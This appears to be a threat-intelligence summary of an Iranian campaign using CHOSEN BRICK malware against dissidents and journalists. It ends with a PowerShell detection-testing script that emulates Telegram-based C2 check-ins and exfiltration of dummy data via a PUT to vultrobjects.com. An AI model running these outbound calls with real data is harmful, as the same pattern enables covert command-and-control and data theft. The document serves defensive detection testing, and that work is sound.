Iranian cyber targeting of dissidents, activists and journalists

Summary

Iranian state-sponsored actors are using CHOSEN BRICK malware to target dissidents, activists, and journalists worldwide. The malware is delivered through social engineering on platforms such as WhatsApp and Telegram, often disguised as legitimate applications or files. Once installed, CHOSEN BRICK supports data theft, microphone recording, and system wiping through Telegram-based command and control.

Investigation

The investigation identified a recurring pattern of social engineering followed by CHOSEN BRICK deployment on Windows systems. Analysts observed the malware using Telegram bots for C2 communications and cloud storage services for data exfiltration. Persistence is established through specific registry Run keys, while Microsoft Defender exclusions are added to help evade security controls.

Mitigation

Recommended mitigations include improving user awareness of social engineering techniques and avoiding software delivered through unsolicited attachments. Organizations should also enforce phishing-resistant MFA, implement application allowlisting, and keep antivirus software up to date. Monitoring suspicious connections to Telegram and known cloud storage providers can further strengthen detection.

Response

If CHOSEN BRICK activity is detected, organizations should work with their IT providers to review endpoint logs for associated registry keys and file paths. Both corporate and personal devices used by high-risk individuals should be examined. Security teams should also hunt for the domains, filenames, and other technical indicators associated with the campaign.

Simulation Execution

• Attack Narrative & Commands: The adversary seeks to establish command and control (C2) and exfiltrate sensitive data. To evade traditional signature-based antivirus, they utilize legitimate web services. First, the attacker executes a command to “check-in” with their C2 server via the Telegram API (api.telegram.org). Following this, the attacker simulates the exfiltration of a sensitive file by uploading it to a storage bucket hosted on vultrobjects.com. These actions are performed via standard web requests to blend in with legitimate encrypted web traffic, hoping to bypass inspection and only be caught if specific IoCs are known.

• Regression Test Script:

  # Simulation Script: CHOSEN BRICK TTP Emulation
  # This script simulates C2 via Telegram and Exfiltration via VultrObjects
  
  $C2_Domain = "api.telegram.org"
  $Exfil_Domain = "vultrobjects.com"
  
  Write-Host "[+] Starting Simulation: Emulating CHOSEN BRICK TTPs..." -ForegroundColor Cyan
  
  # 1. Simulate C2 Check-in (Telegram API)
  Write-Host "[*] Step 1: Simulating C2 check-in to $C2_Domain" -ForegroundColor Yellow
  try {
      $c2_response = Invoke-WebRequest -Uri "https://$C2_Domain/bot123456:ABC-DEF/getUpdates" -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] C2 request sent." -ForegroundColor Green
  } catch {
      Write-Host "[!] Note: Connection failed (expected if no internet/proxy), but telemetry should still be generated." -ForegroundColor Gray
  }
  
  # 2. Simulate Data Exfiltration (VultrObjects)
  Write-Host "[*] Step 2: Simulating data exfiltration to $Exfil_Domain" -ForegroundColor Yellow
  $dummy_data = "This is highly sensitive information being exfiltrated."
  $dummy_file = "$env:TEMPsensitive_data.txt"
  $dummy_data | Out-File -FilePath $dummy_file
  
  try {
      # Simulating a PUT request to a cloud storage endpoint
      Invoke-RestMethod -Uri "https://$Exfil_Domain/exfil/data_dump.txt" -Method Put -Body $dummy_data -ContentType "text/plain" -ErrorAction SilentlyContinue
      Write-Host "[+] Exfiltration request sent." -ForegroundColor Green
  } catch {
      Write-Host "[!] Note: Connection failed (expected if no internet/proxy), but telemetry should still be generated." -ForegroundColor Gray
  }
  
  Write-Host "[+] Simulation complete. Check SIEM for proxy logs involving $C2_Domain and $Exfil_Domain." -ForegroundColor Cyan

• Cleanup Commands:

  # Cleanup Script
  $dummy_file = "$env:TEMPsensitive_data.txt"
  if (Test-Path $dummy_file) {
      Remove-Item -Path $dummy_file -Force
      Write-Host "[+] Cleanup: Removed dummy exfiltration file." -ForegroundColor Green
  } else {
      Write-Host "[!] Cleanup: Dummy file not found." -ForegroundColor Yellow
  }